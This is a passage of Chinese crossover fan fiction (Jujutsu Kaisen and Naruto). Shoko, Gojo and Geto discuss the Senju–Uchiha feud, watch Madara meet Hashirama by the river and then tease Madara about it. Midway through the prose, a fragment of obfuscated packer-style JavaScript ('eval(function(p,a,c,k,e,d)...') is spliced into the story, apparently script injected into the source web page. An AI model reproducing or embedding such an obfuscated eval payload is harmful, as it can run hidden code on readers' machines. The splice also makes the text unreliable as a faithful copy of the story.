再加上实力受限又不能影响到还得在这个世界接着生活的硝子，没法随意平推，一时间五条悟和夏油杰还真有点在异世界探索地图、寻找对话NPC、推支线升级的感觉。 除去与硝子已成习惯的每日对练外，毕竟都跑去探索千手了，那了解一下包括但不限于千手的实力程度、族地位置等其他东西，也就是顺手的事。 于是这个推进缓慢的任务进程，两个月后才算宣告结束。 时间来到五月，春季的末尾，夜风清凉。 硝子坐在窗边，右手手置于膝上撑着脑袋，懒洋洋地说：“来吧，我听听你们打算怎么提交任务？” 夏油杰先开口：“千手和宇智波似乎是当前实力最为强大的两族。因为很多时候，A雇佣了千手，B就会雇佣宇智波抗衡，因此两族算是被动有了不少积怨。” 五条悟接着夏油杰的背景故事直入正题：“那次战斗是两个贵族互看不爽才雇佣的。对宇智波的任务要求是【对抗被雇佣的千手】，千手的任务则是【将对方雇佣的忍者全歼】，理由只是【让对方白白花钱】。” 硝子莫名想起前世的某大热漫画战力天花板的一句话：你把生命当成什么了？ 五条悟接着补充细节：“总之，宇智波这边因为双方都很熟悉对抗流程，再加上规模不大，可以说由经验者带着的话，基本能做到熟悉战斗流程后还能全身而退，这也是【硝子】被带上战场的理由啦。” 千手视角由夏油杰提供：“但千手的任务是【全歼】。两边能够成为宿敌一样的存在，至少实力差不多，这种任务可能会令家族付出很大代价，所以千手那里起初很反对。” “但有好几个亲人好友都被宇智波所杀的千手站出来，打算以自爆式的袭击来做，没有人劝得动他们。” “总之就是这样。”五条悟顺带补充了一点自己在战场被召唤出来时收集的信息，“数量和脸都对得上，看起来那些人都确实自爆完成了。” “是这样。”硝子垂着眼，凉风拂过脸颊发丝，“那么，也就是说复仇者和受害人已经全部死在那里了，已经不再有其他狭义上的复仇对象。” 五条悟耸肩：“或者硝子也可以像那几个千手一样，选择干掉其他千手族人。” “那听起来可真是冤冤相报何时了。”硝子叹气。 五条悟想的什么似的表情奇怪了一下：“说起来，杰在探查千手族人的时候，看见了当前还存活的两个族长孩子，也是一个哥哥和一个弟弟，年纪分别跟斑和泉奈差不多。” “哇哦。”硝子感慨，“不愧是宿敌，就连族长家的小孩都这么对仗。” 夏油杰默默接话：“弟弟叫做扉间，据说是个感知型忍者，以防不小心给你带来麻烦，我们干脆就没接触他。” “倒是哥哥柱间……”夏油杰的表情也奇怪了起来，“我们尝试远远跟着他的时候，看见他去了南贺川旁边，和斑见面了。” 很喜欢硝子的一句话：“啊？” 女孩猛的一个战术后仰：“真的假的。” 7. 第 7 章 硝子露出空白的眼神，脸上好像具现出了【正在加载中】的圆环，茫然地将“斑和千手柱间见面”的消息在脑中转了几圈。 谁和谁见面？ 他们知道对方是什么身份吗？ 这下硝子总算知道，为什么面前的俩家伙会露出那样奇怪的表情了——她觉得自己现在的神态估计也差不多。 “……然后发生了什么？”硝子恍恍惚惚地问。 眼前的小黑狐身后倏尔绽开漆黑深邃的裂缝，两只咒灵撕开间隙扭动着挤出来，一只张开屏幕，一只变作喇叭。 小白猫下了个隔绝动静的【帐】，而后摊爪邀请：“请看VCR！” 【画面中，在河边抱膝坐着的柱间身后出现了斑的身影——然后谈起了对方失去的兄弟们。】 硝子举手示意暂停。 五条猫扒拉出一根大毛笔，用术式正转的引力吸在手上，将其怼在硝子嘴边，推了推墨镜：“请说，硝子同学！” “是这样的，五条老师。”硝子配合着换了个称呼，“在我的印象中，前不久又一次战争开始，我听信一叔叔很惆怅地跟我说他们五个大人围杀了一个千手小孩——不会就是柱间的弟弟吧。” 夏油杰回忆了一下从千手那边挖出来的信息，确认了发色名字，然后给予硝子肯定：“你是对的，硝子同学。” 五条悟愣了一下——他之前没关心到这一层：“被信一和田岛他们杀掉的？话说我记得斑的兄弟也有被千手族长杀掉的吧？” “是呢。”硝子指着屏幕中缅怀兄弟的两人，“知道了这种背景故事以后，再回看这个画面——不觉得挺难以言喻的吗？” “地狱起来了。”夏油杰默默点头。 五条悟的思维跳跃到了另一个方向：“那他们应该还不知道对方的身份？但是都到能够谈论死去兄弟的关系了，应该至少得认识有一段时间了吧？真的假的。” 夏油杰补充：“泉奈都遇上过扉间，很难想象他们俩在战场上一次都没见过。” “能错开成这样吗？连名字都没听过的程度？”五条悟也吐槽起来，“该不会根本就是已经有对方的身份猜测了，故意避开吧。” “夏油老师——请继续。”硝子拖长声音。 【斑谈起了「如何能让大家不再死亡」，同时以忍者丢手里剑的手法打着水漂，柱间仿佛在领悟什么似的，注视斑的动作，聆听斑的想法。 被扔出去的小石子轻巧地在水面跃动起落，激起数个水面涟漪，圈状波纹层层荡漾。 “骨碌碌——” 小石子跳上了对岸。 斑的脸上带起显而易见地成就感。】 “总感觉这里的斑比在我和泉奈面前要活泼的多，”硝子先评价了个毫不重要的点，“果然在弟弟妹妹面前还是会有些长兄包袱吗？” “头发表情都炸起来了。”五条悟乐，“话说真没想到斑还有想过「怎样让大家都不再死去」——最后那段话，没思考过的话没法那么顺畅说出来吧？” “确实。不过你不也有个保护青少年的教育梦想？”听五条悟聊过理想的硝子调侃，“宇智波族大都感情充沛，斑看着可比你更是个纤细多虑型的，失去那么多兄弟族人以后，或许也会思考和平的可能性吧。” 夏油杰知道五条悟的理想显而易见是因为自己的离开而诞生的，他对此并不想评论什么，也因而没有参与同期们的话题。 “不过斑想的东西，他自己是感觉实现的可能性微乎其微，但柱间倒是一副有点触动的样子。”五条悟探头观察。 “让所有人坦诚相待做不到吧。”硝子耸肩，瞥了眼保持沉默的夏油杰，“就连学生都会有说不出口的事情，何况战场上的敌人呢。” “不过千手柱间和宇智波斑，他们俩不出意外应该会是下一任族长吧？实力很强又是族长长子。如果他们在成长过程中依旧保持着和平的心愿，说不准两族有放下仇恨进行联合的可能性。”五条悟搓着下巴说。 “应该没有人能抗衡这种联合吧？”五条猫说着忽然挥舞了两下前爪，语调激昂起来：“都异世界战国了，不如向织田信长学习，我们强强联合，直接「天下布武」——以武力夺取天下！令强者政权支配天下！” “哈哈，”硝子笑起来，配合着往下推演，“然后把贵族、平民、其他忍者什么的全部合并阶级，建立统一的秩序国家。” 离开原世界的话题，夏油杰也加入聊天：“还得花些时间让所有年轻人和小孩们接受合并的现状然后开始为国家努力，有所付出就会乐意维护，再配上差不多的法律，新社会也就大致稳定下来了。” “教主的经验之谈？”硝子揶揄。 “算是吧。”夏油狐晃了晃尾巴。 五条悟学着屏幕里斑打水漂的动作。 “斑的动作还挺熟练的嘞，难不成练习过？”小白猫挥着爪子感叹， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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五条猫窜上斑的肩头，笑嘻嘻地问：“你说的东西很流畅嘛——就那个让大家不再受伤的方法。想过很久吧？想了很多回吧？也跟我们说说呗？” “什......？”斑没想到他们不仅听见了谈话还能复述出来，被整得面上窘迫发红。 夏油狐贴心地幽幽补充：“总不能什么东西，不知家族的外来忍者听得，我们却听不得吧？” “......”斑到嘴边的话又被噎住。 不过本质上只是想阻止斑继续违背心愿继续深究柱间身份，并没有真想听见什么，一人俩通灵兽简单闹了一下就结束了。 “好不容易找到谈得来的朋友吧？”硝子微笑，“我会给你打掩护的。” “……” 斑张嘴又闭嘴。 “……谢谢。”